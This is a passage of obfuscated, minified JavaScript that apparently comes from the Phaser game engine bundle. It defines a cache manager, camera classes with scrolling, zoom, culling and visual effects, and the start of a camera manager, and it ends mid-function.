_0x58fbee({ 'initialize': function (_0x506c71) { this['game'] = _0x506c71, this['binary'] = new _0xbaddea(), this['bitmapFont'] = new _0xbaddea(), this['json'] = new _0xbaddea(), this['physics'] = new _0xbaddea(), this['shader'] = new _0xbaddea(), this['audio'] = new _0xbaddea(), this['video'] = new _0xbaddea(), this['text'] = new _0xbaddea(), this['html'] = new _0xbaddea(), this['obj'] = new _0xbaddea(), this['tilemap'] = new _0xbaddea(), this['xml'] = new _0xbaddea(), this['custom'] = {}, this['game']['events']['once'](_0x3ebb17['DESTROY'], this['destroy'], this); }, 'addCustom': function (_0x37f5d0) { return this['custom']['hasOwnProperty'](_0x37f5d0) || (this['custom'][_0x37f5d0] = new _0xbaddea()), this['custom'][_0x37f5d0]; }, 'destroy': function () { for (var _0x3b64ae = ['binary', 'bitmapFont', 'json', 'physics', 'shader', 'audio', 'video', 'text', 'html', 'obj', 'tilemap', 'xml'], _0xd5a982 = 0x0; _0xd5a982 < _0x3b64ae['length']; _0xd5a982++)this[_0x3b64ae[_0xd5a982]]['destroy'](), this[_0x3b64ae[_0xd5a982]] = null; for (var _0x47fd87 in this['custom']) this['custom'][_0x47fd87]['destroy'](); this['custom'] = null, this['game'] = null; } }); _0x167121['exports'] = _0x346088; }, 0xc908: _0x2e0c58 => { _0x2e0c58['exports'] = 'add'; }, 0xe77d: _0x5651d7 => { _0x5651d7['exports'] = 'remove'; }, 0x60a0: (_0x3f6f7e, _0x1f2f89, _0x19a9a0) => { _0x3f6f7e['exports'] = { 'ADD': _0x19a9a0(0xc908), 'REMOVE': _0x19a9a0(0xe77d) }; }, 0x145bc: (_0xb142f8, _0x55de43, _0x484581) => { _0xb142f8['exports'] = { 'BaseCache': _0x484581(0x871), 'CacheManager': _0x484581(0x5def), 'Events': _0x484581(0x60a0) }; }, 0x118e7: (_0x10e750, _0x450cc7, _0x313efd) => { var _0x15ec79 = _0x313efd(0x145db), _0x2c061e = _0x313efd(0x7aa9), _0x5700fb = _0x313efd(0x9a52), _0x210406 = _0x313efd(0xc668), _0x4a7831 = _0x313efd(0x4d03), _0x5983b1 = _0x313efd(0x15721), _0x169279 = _0x313efd(0xef9c), _0xd80a84 = _0x313efd(0x139cd), _0xc2a20e = _0x313efd(0x65f3), _0x27a957 = new _0x15ec79({ 'Extends': _0x210406, 'Mixins': [_0x2c061e['AlphaSingle'], _0x2c061e['Visible']], 'initialize': function (_0x41d164, _0x6e2f7e, _0x2756ac, _0x5a7919) { void 0x0 === _0x41d164 && (_0x41d164 = 0x0), void 0x0 === _0x6e2f7e && (_0x6e2f7e = 0x0), void 0x0 === _0x2756ac && (_0x2756ac = 0x0), void 0x0 === _0x5a7919 && (_0x5a7919 = 0x0), _0x210406['call'](this), this['scene'], this['sceneManager'], this['scaleManager'], this['cameraManager'], this['id'] = 0x0, this['name'] = '', this['roundPixels'] = !0x1, this['useBounds'] = !0x1, this['worldView'] = new _0x5983b1(), this['dirty'] = !0x0, this['_x'] = _0x41d164, this['_y'] = _0x6e2f7e, this['_width'] = _0x2756ac, this['_height'] = _0x5a7919, this['_bounds'] = new _0x5983b1(), this['_scrollX'] = 0x0, this['_scrollY'] = 0x0, this['_zoomX'] = 0x1, this['_zoomY'] = 0x1, this['_rotation'] = 0x0, this['matrix'] = new _0x169279(), this['transparent'] = !0x0, this['backgroundColor'] = _0xd80a84('rgba(0,0,0,0)'), this['disableCull'] = !0x1, this['culledObjects'] = [], this['midPoint'] = new _0xc2a20e(_0x2756ac / 0x2, _0x5a7919 / 0x2), this['originX'] = 0.5, this['originY'] = 0.5, this['_customViewport'] = !0x1, this['mask'] = null, this['_maskCamera'] = null, this['renderList'] = [], this['isSceneCamera'] = !0x0, this['renderRoundPixels'] = !0x0; }, 'addToRenderList': function (_0x415ee1) { this['renderList']['push'](_0x415ee1); }, 'setOrigin': function (_0x5e92cd, _0x49fd74) { return void 0x0 === _0x5e92cd && (_0x5e92cd = 0.5), void 0x0 === _0x49fd74 && (_0x49fd74 = _0x5e92cd), this['originX'] = _0x5e92cd, this['originY'] = _0x49fd74, this; }, 'getScroll': function (_0x3af510, _0x43499a, _0x17fc65) { void 0x0 === _0x17fc65 && (_0x17fc65 = new _0xc2a20e()); var _0x29e3ae = 0.5 * this['width'], _0x55333c = 0.5 * this['height']; return _0x17fc65['x'] = _0x3af510 - _0x29e3ae, _0x17fc65['y'] = _0x43499a - _0x55333c, this['useBounds'] && (_0x17fc65['x'] = this['clampX'](_0x17fc65['x']), _0x17fc65['y'] = this['clampY'](_0x17fc65['y'])), _0x17fc65; }, 'centerOnX': function (_0x41aeb9) { var _0x207a78 = 0.5 * this['width']; return this['midPoint']['x'] = _0x41aeb9, this['scrollX'] = _0x41aeb9 - _0x207a78, this['useBounds'] && (this['scrollX'] = this['clampX'](this['scrollX'])), this; }, 'centerOnY': function (_0x327776) { var _0x4c4c24 = 0.5 * this['height']; return this['midPoint']['y'] = _0x327776, this['scrollY'] = _0x327776 - _0x4c4c24, this['useBounds'] && (this['scrollY'] = this['clampY'](this['scrollY'])), this; }, 'centerOn': function (_0x54e590, _0x43ce2a) { return this['centerOnX'](_0x54e590), this['centerOnY'](_0x43ce2a), this; }, 'centerToBounds': function () { if (this['useBounds']) { var _0x37053f = this['_bounds'], _0x54b187 = 0.5 * this['width'], _0x1a4f35 = 0.5 * this['height']; this['midPoint']['set'](_0x37053f['centerX'], _0x37053f['centerY']), this['scrollX'] = _0x37053f['centerX'] - _0x54b187, this['scrollY'] = _0x37053f['centerY'] - _0x1a4f35; } return this; }, 'centerToSize': function () { return this['scrollX'] = 0.5 * this['width'], this['scrollY'] = 0.5 * this['height'], this; }, 'cull': function (_0x1bbc1c) { if (this['disableCull']) return _0x1bbc1c; var _0x46d26f = this['matrix']['matrix'], _0x3ff468 = _0x46d26f[0x0], _0x30e48c = _0x46d26f[0x1], _0xc981bc = _0x46d26f[0x2], _0x288143 = _0x46d26f[0x3], _0x3ac37a = _0x3ff468 * _0x288143 - _0x30e48c * _0xc981bc; if (!_0x3ac37a) return _0x1bbc1c; var _0x3285e2 = _0x46d26f[0x4], _0x5e967f = _0x46d26f[0x5], _0x34e07d = this['scrollX'], _0x3ee2ec = this['scrollY'], _0x483838 = this['width'], _0x431477 = this['height'], _0x525593 = this['y'], _0x1b24f9 = _0x525593 + _0x431477, _0x1e6809 = this['x'], _0x2baf69 = _0x1e6809 + _0x483838, _0x263902 = this['culledObjects'], _0x52ea69 = _0x1bbc1c['length']; _0x3ac37a = 0x1 / _0x3ac37a, _0x263902['length'] = 0x0; for (var _0x233a30 = 0x0; _0x233a30 < _0x52ea69; ++_0x233a30) { var _0xedd9a7 = _0x1bbc1c[_0x233a30]; if (_0xedd9a7['hasOwnProperty']('width') && !_0xedd9a7['parentContainer']) { var _0x11a7b1 = _0xedd9a7['width'], _0x345b7b = _0xedd9a7['height'], _0x35b92c = _0xedd9a7['x'] - _0x34e07d * _0xedd9a7['scrollFactorX'] - _0x11a7b1 * _0xedd9a7['originX'], _0x2e2333 = _0xedd9a7['y'] - _0x3ee2ec * _0xedd9a7['scrollFactorY'] - _0x345b7b * _0xedd9a7['originY']; (_0x35b92c + _0x11a7b1) * _0x3ff468 + (_0x2e2333 + _0x345b7b) * _0xc981bc + _0x3285e2 > _0x1e6809 && _0x35b92c * _0x3ff468 + _0x2e2333 * _0xc981bc + _0x3285e2 < _0x2baf69 && (_0x35b92c + _0x11a7b1) * _0x30e48c + (_0x2e2333 + _0x345b7b) * _0x288143 + _0x5e967f > _0x525593 && _0x35b92c * _0x30e48c + _0x2e2333 * _0x288143 + _0x5e967f < _0x1b24f9 && _0x263902['push'](_0xedd9a7); } else _0x263902['push'](_0xedd9a7); } return _0x263902; }, 'getWorldPoint': function (_0x2100b3, _0x2ce0e5, _0x1ea289) { void 0x0 === _0x1ea289 && (_0x1ea289 = new _0xc2a20e()); var _0x39bc8f = this['matrix']['matrix'], _0x2ba258 = _0x39bc8f[0x0], _0x54138f = _0x39bc8f[0x1], _0x493d96 = _0x39bc8f[0x2], _0x553b8e = _0x39bc8f[0x3], _0x2c3ca9 = _0x39bc8f[0x4], _0x5cc501 = _0x39bc8f[0x5], _0x18dad4 = _0x2ba258 * _0x553b8e - _0x54138f * _0x493d96; if (!_0x18dad4) return _0x1ea289['x'] = _0x2100b3, _0x1ea289['y'] = _0x2ce0e5, _0x1ea289; var _0x347131 = _0x553b8e * (_0x18dad4 = 0x1 / _0x18dad4), _0x2696ae = -_0x54138f * _0x18dad4, _0x581ed8 = -_0x493d96 * _0x18dad4, _0x260592 = _0x2ba258 * _0x18dad4, _0x1ebdfd = (_0x493d96 * _0x5cc501 - _0x553b8e * _0x2c3ca9) * _0x18dad4, _0x5e72ae = (_0x54138f * _0x2c3ca9 - _0x2ba258 * _0x5cc501) * _0x18dad4, _0x4a924c = Math['cos'](this['rotation']), _0x563ec5 = Math['sin'](this['rotation']), _0x39b8a5 = this['zoomX'], _0x4a7185 = this['zoomY'], _0x45d5b4 = this['scrollX'], _0x268d4d = this['scrollY'], _0x30d115 = _0x2100b3 + (_0x45d5b4 * _0x4a924c - _0x268d4d * _0x563ec5) * _0x39b8a5, _0x229dfd = _0x2ce0e5 + (_0x45d5b4 * _0x563ec5 + _0x268d4d * _0x4a924c) * _0x4a7185; return _0x1ea289['x'] = _0x30d115 * _0x347131 + _0x229dfd * _0x581ed8 + _0x1ebdfd, _0x1ea289['y'] = _0x30d115 * _0x2696ae + _0x229dfd * _0x260592 + _0x5e72ae, _0x1ea289; }, 'ignore': function (_0x2a139b) { var _0x325518 = this['id']; Array['isArray'](_0x2a139b) || (_0x2a139b = [_0x2a139b]); for (var _0x4772d8 = 0x0; _0x4772d8 < _0x2a139b['length']; _0x4772d8++) { var _0x1657ca = _0x2a139b[_0x4772d8]; Array['isArray'](_0x1657ca) ? this['ignore'](_0x1657ca) : _0x1657ca['isParent'] ? this['ignore'](_0x1657ca['getChildren']()) : _0x1657ca['cameraFilter'] |= _0x325518; } return this; }, 'clampX': function (_0x53a9c2) { var _0x251c88 = this['_bounds'], _0x2f0e5d = this['displayWidth'], _0x368199 = _0x251c88['x'] + (_0x2f0e5d - this['width']) / 0x2, _0x4d2338 = Math['max'](_0x368199, _0x368199 + _0x251c88['width'] - _0x2f0e5d); return _0x53a9c2 < _0x368199 ? _0x53a9c2 = _0x368199 : _0x53a9c2 > _0x4d2338 && (_0x53a9c2 = _0x4d2338), _0x53a9c2; }, 'clampY': function (_0x2d9703) { var _0x346d3a = this['_bounds'], _0xf35df0 = this['displayHeight'], _0xa4107a = _0x346d3a['y'] + (_0xf35df0 - this['height']) / 0x2, _0x3c1a80 = Math['max'](_0xa4107a, _0xa4107a + _0x346d3a['height'] - _0xf35df0); return _0x2d9703 < _0xa4107a ? _0x2d9703 = _0xa4107a : _0x2d9703 > _0x3c1a80 && (_0x2d9703 = _0x3c1a80), _0x2d9703; }, 'removeBounds': function () { return this['useBounds'] = !0x1, this['dirty'] = !0x0, this['_bounds']['setEmpty'](), this; }, 'setAngle': function (_0x3708df) { return void 0x0 === _0x3708df && (_0x3708df = 0x0), this['rotation'] = _0x5700fb(_0x3708df), this; }, 'setBackgroundColor': function (_0x2793ff) { return void 0x0 === _0x2793ff && (_0x2793ff = 'rgba(0,0,0,0)'), this['backgroundColor'] = _0xd80a84(_0x2793ff), this['transparent'] = 0x0 === this['backgroundColor']['alpha'], this; }, 'setBounds': function (_0x532256, _0x574d1d, _0x503e38, _0x2bf392, _0x33f739) { return void 0x0 === _0x33f739 && (_0x33f739 = !0x1), this['_bounds']['setTo'](_0x532256, _0x574d1d, _0x503e38, _0x2bf392), this['dirty'] = !0x0, this['useBounds'] = !0x0, _0x33f739 ? this['centerToBounds']() : (this['scrollX'] = this['clampX'](this['scrollX']), this['scrollY'] = this['clampY'](this['scrollY'])), this; }, 'getBounds': function (_0x42be26) { void 0x0 === _0x42be26 && (_0x42be26 = new _0x5983b1()); var _0x48c046 = this['_bounds']; return _0x42be26['setTo'](_0x48c046['x'], _0x48c046['y'], _0x48c046['width'], _0x48c046['height']), _0x42be26; }, 'setName': function (_0x30fda9) { return void 0x0 === _0x30fda9 && (_0x30fda9 = ''), this['name'] = _0x30fda9, this; }, 'setPosition': function (_0x33068f, _0x42d412) { return void 0x0 === _0x42d412 && (_0x42d412 = _0x33068f), this['x'] = _0x33068f, this['y'] = _0x42d412, this; }, 'setRotation': function (_0xa77e2b) { return void 0x0 === _0xa77e2b && (_0xa77e2b = 0x0), this['rotation'] = _0xa77e2b, this; }, 'setRoundPixels': function (_0x227bff) { return this['roundPixels'] = _0x227bff, this; }, 'setScene': function (_0xffb87c, _0x571f93) { void 0x0 === _0x571f93 && (_0x571f93 = !0x0), this['scene'] && this['_customViewport'] && this['sceneManager']['customViewports']--, this['scene'] = _0xffb87c, this['isSceneCamera'] = _0x571f93; var _0x466dc1 = _0xffb87c['sys']; return this['sceneManager'] = _0x466dc1['game']['scene'], this['scaleManager'] = _0x466dc1['scale'], this['cameraManager'] = _0x466dc1['cameras'], this['updateSystem'](), this; }, 'setScroll': function (_0x38d55a, _0x2c0ab0) { return void 0x0 === _0x2c0ab0 && (_0x2c0ab0 = _0x38d55a), this['scrollX'] = _0x38d55a, this['scrollY'] = _0x2c0ab0, this; }, 'setSize': function (_0x4f50b5, _0x1f60f9) { return void 0x0 === _0x1f60f9 && (_0x1f60f9 = _0x4f50b5), this['width'] = _0x4f50b5, this['height'] = _0x1f60f9, this; }, 'setViewport': function (_0xbadd7f, _0x58f89b, _0x374a2f, _0x1e7f0a) { return this['x'] = _0xbadd7f, this['y'] = _0x58f89b, this['width'] = _0x374a2f, this['height'] = _0x1e7f0a, this; }, 'setZoom': function (_0x406aa4, _0x3d6459) { return void 0x0 === _0x406aa4 && (_0x406aa4 = 0x1), void 0x0 === _0x3d6459 && (_0x3d6459 = _0x406aa4), 0x0 === _0x406aa4 && (_0x406aa4 = 0.001), 0x0 === _0x3d6459 && (_0x3d6459 = 0.001), this['zoomX'] = _0x406aa4, this['zoomY'] = _0x3d6459, this; }, 'setMask': function (_0x56e6cd, _0x626828) { return void 0x0 === _0x626828 && (_0x626828 = !0x0), this['mask'] = _0x56e6cd, this['_maskCamera'] = _0x626828 ? this['cameraManager']['default'] : this, this; }, 'clearMask': function (_0x19fcae) { return void 0x0 === _0x19fcae && (_0x19fcae = !0x1), _0x19fcae && this['mask'] && this['mask']['destroy'](), this['mask'] = null, this; }, 'toJSON': function () { var _0x7c5df9 = { 'name': this['name'], 'x': this['x'], 'y': this['y'], 'width': this['width'], 'height': this['height'], 'zoom': this['zoom'], 'rotation': this['rotation'], 'roundPixels': this['roundPixels'], 'scrollX': this['scrollX'], 'scrollY': this['scrollY'], 'backgroundColor': this['backgroundColor']['rgba'] }; return this['useBounds'] && (_0x7c5df9['bounds'] = { 'x': this['_bounds']['x'], 'y': this['_bounds']['y'], 'width': this['_bounds']['width'], 'height': this['_bounds']['height'] }), _0x7c5df9; }, 'update': function () { }, 'setIsSceneCamera': function (_0x1380d5) { return this['isSceneCamera'] = _0x1380d5, this; }, 'updateSystem': function () { if (this['scaleManager'] && this['isSceneCamera']) { var _0x6de511 = 0x0 !== this['_x'] || 0x0 !== this['_y'] || this['scaleManager']['width'] !== this['_width'] || this['scaleManager']['height'] !== this['_height'], _0x33e646 = this['sceneManager']; _0x6de511 && !this['_customViewport'] ? _0x33e646['customViewports']++ : !_0x6de511 && this['_customViewport'] && _0x33e646['customViewports']--, this['dirty'] = !0x0, this['_customViewport'] = _0x6de511; } }, 'destroy': function () { this['emit'](_0x4a7831['DESTROY'], this), this['removeAllListeners'](), this['matrix']['destroy'](), this['culledObjects'] = [], this['_customViewport'] && this['sceneManager']['customViewports']--, this['renderList'] = [], this['_bounds'] = null, this['scene'] = null, this['scaleManager'] = null, this['sceneManager'] = null, this['cameraManager'] = null; }, 'x': { 'get': function () { return this['_x']; }, 'set': function (_0x1946e8) { this['_x'] = _0x1946e8, this['updateSystem'](); } }, 'y': { 'get': function () { return this['_y']; }, 'set': function (_0x24c371) { this['_y'] = _0x24c371, this['updateSystem'](); } }, 'width': { 'get': function () { return this['_width']; }, 'set': function (_0x421540) { this['_width'] = _0x421540, this['updateSystem'](); } }, 'height': { 'get': function () { return this['_height']; }, 'set': function (_0x3f1a47) { this['_height'] = _0x3f1a47, this['updateSystem'](); } }, 'scrollX': { 'get': function () { return this['_scrollX']; }, 'set': function (_0x3a1381) { _0x3a1381 !== this['_scrollX'] && (this['_scrollX'] = _0x3a1381, this['dirty'] = !0x0); } }, 'scrollY': { 'get': function () { return this['_scrollY']; }, 'set': function (_0x59ac7b) { _0x59ac7b !== this['_scrollY'] && (this['_scrollY'] = _0x59ac7b, this['dirty'] = !0x0); } }, 'zoom': { 'get': function () { return (this['_zoomX'] + this['_zoomY']) / 0x2; }, 'set': function (_0x4fa6e1) { this['_zoomX'] = _0x4fa6e1, this['_zoomY'] = _0x4fa6e1, this['dirty'] = !0x0; } }, 'zoomX': { 'get': function () { return this['_zoomX']; }, 'set': function (_0x1bc080) { this['_zoomX'] = _0x1bc080, this['dirty'] = !0x0; } }, 'zoomY': { 'get': function () { return this['_zoomY']; }, 'set': function (_0xd8c0d1) { this['_zoomY'] = _0xd8c0d1, this['dirty'] = !0x0; } }, 'rotation': { 'get': function () { return this['_rotation']; }, 'set': function (_0x1b73af) { this['_rotation'] = _0x1b73af, this['dirty'] = !0x0; } }, 'centerX': { 'get': function () { return this['x'] + 0.5 * this['width']; } }, 'centerY': { 'get': function () { return this['y'] + 0.5 * this['height']; } }, 'displayWidth': { 'get': function () { return this['width'] / this['zoomX']; } }, 'displayHeight': { 'get': function () { return this['height'] / this['zoomY']; } } }); _0x10e750['exports'] = _0x27a957; }, 0x94aa: (_0x24371d, _0x2c2600, _0x426a20) => { var _0x3af1c3 = _0x426a20(0x118e7), _0x5471fa = _0x426a20(0x107ae), _0x59ee9b = _0x426a20(0xb107), _0x2d6dbd = _0x426a20(0x145db), _0x290d2e = _0x426a20(0x7aa9), _0x5cda35 = _0x426a20(0x4e54), _0x20fb92 = _0x426a20(0x4d03), _0x38775d = _0x426a20(0x70f3), _0x4be0c1 = _0x426a20(0x15721), _0x5c7710 = _0x426a20(0x65f3), _0x10abb8 = new _0x2d6dbd({ 'Extends': _0x3af1c3, 'Mixins': [_0x290d2e['PostPipeline']], 'initialize': function (_0x3281aa, _0x568ea7, _0x1b95a0, _0x42477a) { _0x3af1c3['call'](this, _0x3281aa, _0x568ea7, _0x1b95a0, _0x42477a), this['initPostPipeline'](), this['inputEnabled'] = !0x0, this['fadeEffect'] = new _0x5cda35['Fade'](this), this['flashEffect'] = new _0x5cda35['Flash'](this), this['shakeEffect'] = new _0x5cda35['Shake'](this), this['panEffect'] = new _0x5cda35['Pan'](this), this['rotateToEffect'] = new _0x5cda35['RotateTo'](this), this['zoomEffect'] = new _0x5cda35['Zoom'](this), this['lerp'] = new _0x5c7710(0x1, 0x1), this['followOffset'] = new _0x5c7710(), this['deadzone'] = null, this['_follow'] = null; }, 'setDeadzone': function (_0x3b64da, _0x20fa17) { if (void 0x0 === _0x3b64da) this['deadzone'] = null; else { if (this['deadzone'] ? (this['deadzone']['width'] = _0x3b64da, this['deadzone']['height'] = _0x20fa17) : this['deadzone'] = new _0x4be0c1(0x0, 0x0, _0x3b64da, _0x20fa17), this['_follow']) { var _0x3223e7 = this['width'] / 0x2, _0x5d00ed = this['height'] / 0x2, _0x11a1cb = this['_follow']['x'] - this['followOffset']['x'], _0x90fb23 = this['_follow']['y'] - this['followOffset']['y']; this['midPoint']['set'](_0x11a1cb, _0x90fb23), this['scrollX'] = _0x11a1cb - _0x3223e7, this['scrollY'] = _0x90fb23 - _0x5d00ed; } _0x5471fa(this['deadzone'], this['midPoint']['x'], this['midPoint']['y']); } return this; }, 'fadeIn': function (_0xc3229a, _0xe9a64a, _0x3feb8d, _0x3f3b1e, _0xefa3e9, _0x145fb6) { return this['fadeEffect']['start'](!0x1, _0xc3229a, _0xe9a64a, _0x3feb8d, _0x3f3b1e, !0x0, _0xefa3e9, _0x145fb6); }, 'fadeOut': function (_0x558085, _0x53f411, _0x174f6c, _0x2b5d4c, _0x33af16, _0x5c9fd8) { return this['fadeEffect']['start'](!0x0, _0x558085, _0x53f411, _0x174f6c, _0x2b5d4c, !0x0, _0x33af16, _0x5c9fd8); }, 'fadeFrom': function (_0x36cb8e, _0x340a33, _0x5efb29, _0x1c21d0, _0x394108, _0x3946c0, _0x720bc7) { return this['fadeEffect']['start'](!0x1, _0x36cb8e, _0x340a33, _0x5efb29, _0x1c21d0, _0x394108, _0x3946c0, _0x720bc7); }, 'fade': function (_0x4138d8, _0x137ca0, _0x3ee609, _0x4bc68e, _0x307182, _0x2604ab, _0xcdb2fd) { return this['fadeEffect']['start'](!0x0, _0x4138d8, _0x137ca0, _0x3ee609, _0x4bc68e, _0x307182, _0x2604ab, _0xcdb2fd); }, 'flash': function (_0x1b9b3f, _0x5a0298, _0x947c5f, _0x1a7b27, _0x2a66cf, _0x2a973f, _0x3413c9) { return this['flashEffect']['start'](_0x1b9b3f, _0x5a0298, _0x947c5f, _0x1a7b27, _0x2a66cf, _0x2a973f, _0x3413c9); }, 'shake': function (_0x1e2f7d, _0x981808, _0x1a1f94, _0x3909b0, _0x42c4f6) { return this['shakeEffect']['start'](_0x1e2f7d, _0x981808, _0x1a1f94, _0x3909b0, _0x42c4f6); }, 'pan': function (_0x5942bb, _0x1ea285, _0x178f58, _0x545e11, _0x3ea960, _0x222068, _0x2d74fc) { return this['panEffect']['start'](_0x5942bb, _0x1ea285, _0x178f58, _0x545e11, _0x3ea960, _0x222068, _0x2d74fc); }, 'rotateTo': function (_0x207eee, _0xa375c3, _0x2aa27c, _0x7d6a0b, _0x36ad22, _0x5304ad, _0x4ab08a) { return this['rotateToEffect']['start'](_0x207eee, _0xa375c3, _0x2aa27c, _0x7d6a0b, _0x36ad22, _0x5304ad, _0x4ab08a); }, 'zoomTo': function (_0x282b48, _0x154ba2, _0x5b96eb, _0x1a8916, _0x45fe03, _0x45ecef) { return this['zoomEffect']['start'](_0x282b48, _0x154ba2, _0x5b96eb, _0x1a8916, _0x45fe03, _0x45ecef); }, 'preRender': function () { this['renderList']['length'] = 0x0; var _0x265f4b = this['width'], _0x13393b = this['height'], _0x4e5e7e = 0.5 * _0x265f4b, _0x456f9c = 0.5 * _0x13393b, _0xcf8fd6 = this['zoomX'], _0x1afb6d = this['zoomY'], _0x53a2ee = this['matrix']; this['renderRoundPixels'] = this['roundPixels'] && Number['isInteger'](_0xcf8fd6) && Number['isInteger'](_0x1afb6d); var _0x1b56b0 = _0x265f4b * this['originX'], _0x1688d9 = _0x13393b * this['originY'], _0x266255 = this['_follow'], _0x18be6c = this['deadzone'], _0x1bb719 = this['scrollX'], _0x319ba4 = this['scrollY']; _0x18be6c && _0x5471fa(_0x18be6c, this['midPoint']['x'], this['midPoint']['y']); var _0x2221bd = !0x1; if (_0x266255 && !this['panEffect']['isRunning']) { var _0x5d7f8c = this['lerp'], _0x442c44 = _0x266255['x'] - this['followOffset']['x'], _0x32f147 = _0x266255['y'] - this['followOffset']['y']; _0x18be6c ? (_0x442c44 < _0x18be6c['x'] ? _0x1bb719 = _0x38775d(_0x1bb719, _0x1bb719 - (_0x18be6c['x'] - _0x442c44), _0x5d7f8c['x']) : _0x442c44 > _0x18be6c['right'] && (_0x1bb719 = _0x38775d(_0x1bb719, _0x1bb719 + (_0x442c44 - _0x18be6c['right']), _0x5d7f8c['x'])), _0x32f147 < _0x18be6c['y'] ? _0x319ba4 = _0x38775d(_0x319ba4, _0x319ba4 - (_0x18be6c['y'] - _0x32f147), _0x5d7f8c['y']) : _0x32f147 > _0x18be6c['bottom'] && (_0x319ba4 = _0x38775d(_0x319ba4, _0x319ba4 + (_0x32f147 - _0x18be6c['bottom']), _0x5d7f8c['y']))) : (_0x1bb719 = _0x38775d(_0x1bb719, _0x442c44 - _0x1b56b0, _0x5d7f8c['x']), _0x319ba4 = _0x38775d(_0x319ba4, _0x32f147 - _0x1688d9, _0x5d7f8c['y'])), _0x2221bd = !0x0; } this['roundPixels'] && (_0x1bb719 = Math['floor'](_0x1bb719), _0x319ba4 = Math['floor'](_0x319ba4)), this['useBounds'] && (_0x1bb719 = this['clampX'](_0x1bb719), _0x319ba4 = this['clampY'](_0x319ba4)), this['scrollX'] = _0x1bb719, this['scrollY'] = _0x319ba4; var _0x5ddde2 = _0x1bb719 + _0x4e5e7e, _0x30bfb1 = _0x319ba4 + _0x456f9c; this['midPoint']['set'](_0x5ddde2, _0x30bfb1); var _0x8ce96c = Math['floor'](_0x265f4b / _0xcf8fd6 + 0.5), _0x4a0c23 = Math['floor'](_0x13393b / _0x1afb6d + 0.5), _0x10f99d = Math['floor'](_0x5ddde2 - _0x8ce96c / 0x2 + 0.5), _0x1c6c0b = Math['floor'](_0x30bfb1 - _0x4a0c23 / 0x2 + 0.5); this['worldView']['setTo'](_0x10f99d, _0x1c6c0b, _0x8ce96c, _0x4a0c23), _0x53a2ee['applyITRS'](Math['floor'](this['x'] + _0x1b56b0 + 0.5), Math['floor'](this['y'] + _0x1688d9 + 0.5), this['rotation'], _0xcf8fd6, _0x1afb6d), _0x53a2ee['translate'](-_0x1b56b0, -_0x1688d9), this['shakeEffect']['preRender'](), _0x2221bd && this['emit'](_0x20fb92['FOLLOW_UPDATE'], this, _0x266255); }, 'setLerp': function (_0x233946, _0x51dfc2) { return void 0x0 === _0x233946 && (_0x233946 = 0x1), void 0x0 === _0x51dfc2 && (_0x51dfc2 = _0x233946), this['lerp']['set'](_0x233946, _0x51dfc2), this; }, 'setFollowOffset': function (_0x340044, _0x1f21d3) { return void 0x0 === _0x340044 && (_0x340044 = 0x0), void 0x0 === _0x1f21d3 && (_0x1f21d3 = 0x0), this['followOffset']['set'](_0x340044, _0x1f21d3), this; }, 'startFollow': function (_0x180849, _0x1a21e2, _0x35c6ad, _0x50d26e, _0x1c98c0, _0x26c65d) { void 0x0 === _0x1a21e2 && (_0x1a21e2 = !0x1), void 0x0 === _0x35c6ad && (_0x35c6ad = 0x1), void 0x0 === _0x50d26e && (_0x50d26e = _0x35c6ad), void 0x0 === _0x1c98c0 && (_0x1c98c0 = 0x0), void 0x0 === _0x26c65d && (_0x26c65d = _0x1c98c0), this['_follow'] = _0x180849, this['roundPixels'] = _0x1a21e2, _0x35c6ad = _0x59ee9b(_0x35c6ad, 0x0, 0x1), _0x50d26e = _0x59ee9b(_0x50d26e, 0x0, 0x1), this['lerp']['set'](_0x35c6ad, _0x50d26e), this['followOffset']['set'](_0x1c98c0, _0x26c65d); var _0x3381f8 = this['width'] / 0x2, _0x51248a = this['height'] / 0x2, _0x2e9fcf = _0x180849['x'] - _0x1c98c0, _0x27c9c4 = _0x180849['y'] - _0x26c65d; return this['midPoint']['set'](_0x2e9fcf, _0x27c9c4), this['scrollX'] = _0x2e9fcf - _0x3381f8, this['scrollY'] = _0x27c9c4 - _0x51248a, this['useBounds'] && (this['scrollX'] = this['clampX'](this['scrollX']), this['scrollY'] = this['clampY'](this['scrollY'])), this; }, 'stopFollow': function () { return this['_follow'] = null, this; }, 'resetFX': function () { return this['rotateToEffect']['reset'](), this['panEffect']['reset'](), this['shakeEffect']['reset'](), this['flashEffect']['reset'](), this['fadeEffect']['reset'](), this; }, 'update': function (_0x1482bb, _0x3cb50c) { this['visible'] && (this['rotateToEffect']['update'](_0x1482bb, _0x3cb50c), this['panEffect']['update'](_0x1482bb, _0x3cb50c), this['zoomEffect']['update'](_0x1482bb, _0x3cb50c), this['shakeEffect']['update'](_0x1482bb, _0x3cb50c), this['flashEffect']['update'](_0x1482bb, _0x3cb50c), this['fadeEffect']['update'](_0x1482bb, _0x3cb50c)); }, 'destroy': function () { this['resetFX'](), _0x3af1c3['prototype']['destroy']['call'](this), this['_follow'] = null, this['deadzone'] = null; } }); _0x24371d['exports'] = _0x10abb8; }, 0x7fe7: (_0x509f67, _0x3ef1b8, _0x134c1d) => { var _0x2fbc49 = _0x134c1d(0x94aa), _0x12f4c8 = _0x134c1d(0x145db), _0x4c6b51 = _0x134c1d(0x17534), _0x178238 = _0x134c1d(0x919d), _0xf9982b = _0x134c1d(0x91b7), _0x554876 = _0x134c1d(0x17cc8), _0x42424e = _0x134c1d(0xae32), _0x3b12fd = new _0x12f4c8({ 'initialize': function (_0x325f5e) { this['scene'] = _0x325f5e, this['systems'] = _0x325f5e['sys'], this['roundPixels'] = _0x325f5e['sys']['game']['config']['roundPixels'], this['cameras'] = [], this['main'], this['default'], _0x325f5e['sys']['events']['once'](_0x42424e['BOOT'], this['boot'], this), _0x325f5e['sys']['events']['on'](_0x42424e['START'], this['start'], this); }, 'boot': function () { var _0x3f3ade = this['systems']; _0x3f3ade['settings']['cameras'] ? this['fromJSON'](_0x3f3ade['settings']['cameras']) : this['add'](), this['main'] = this['cameras'][0x0], this['default'] = new _0x2fbc49(0x0, 0x0, _0x3f3ade['scale']['width'], _0x3f3ade['scale']['height'])['setScene'](this['scene']), _0x3f3ade['game']['scale']['on'](_0x554876['RESIZE'], this['onResize'], this), this['systems']['events']['once'](_0x42424e['DESTROY'], this['destroy'], this); }, 'start': function () { if (!this['main']) { var _0xdfab90 = this['systems']; _0xdfab90['settings']['cameras'] ? this['fromJSON'](_0xdfab90['settings']['cameras']) : this['add'](), this['main'] = this['cameras'][0x0]; } var _0x2cf810 = this['systems']['events']; _0x2cf810['on'](_0x42424e['UPDATE'], this['update'], this), _0x2cf810['once'](_0x42424e['SHUTDOWN'], this['shutdown'], this); }, 'add': function (_0x5cf8c4, _0x164ff8, _0x149b5e, _0x4af542, 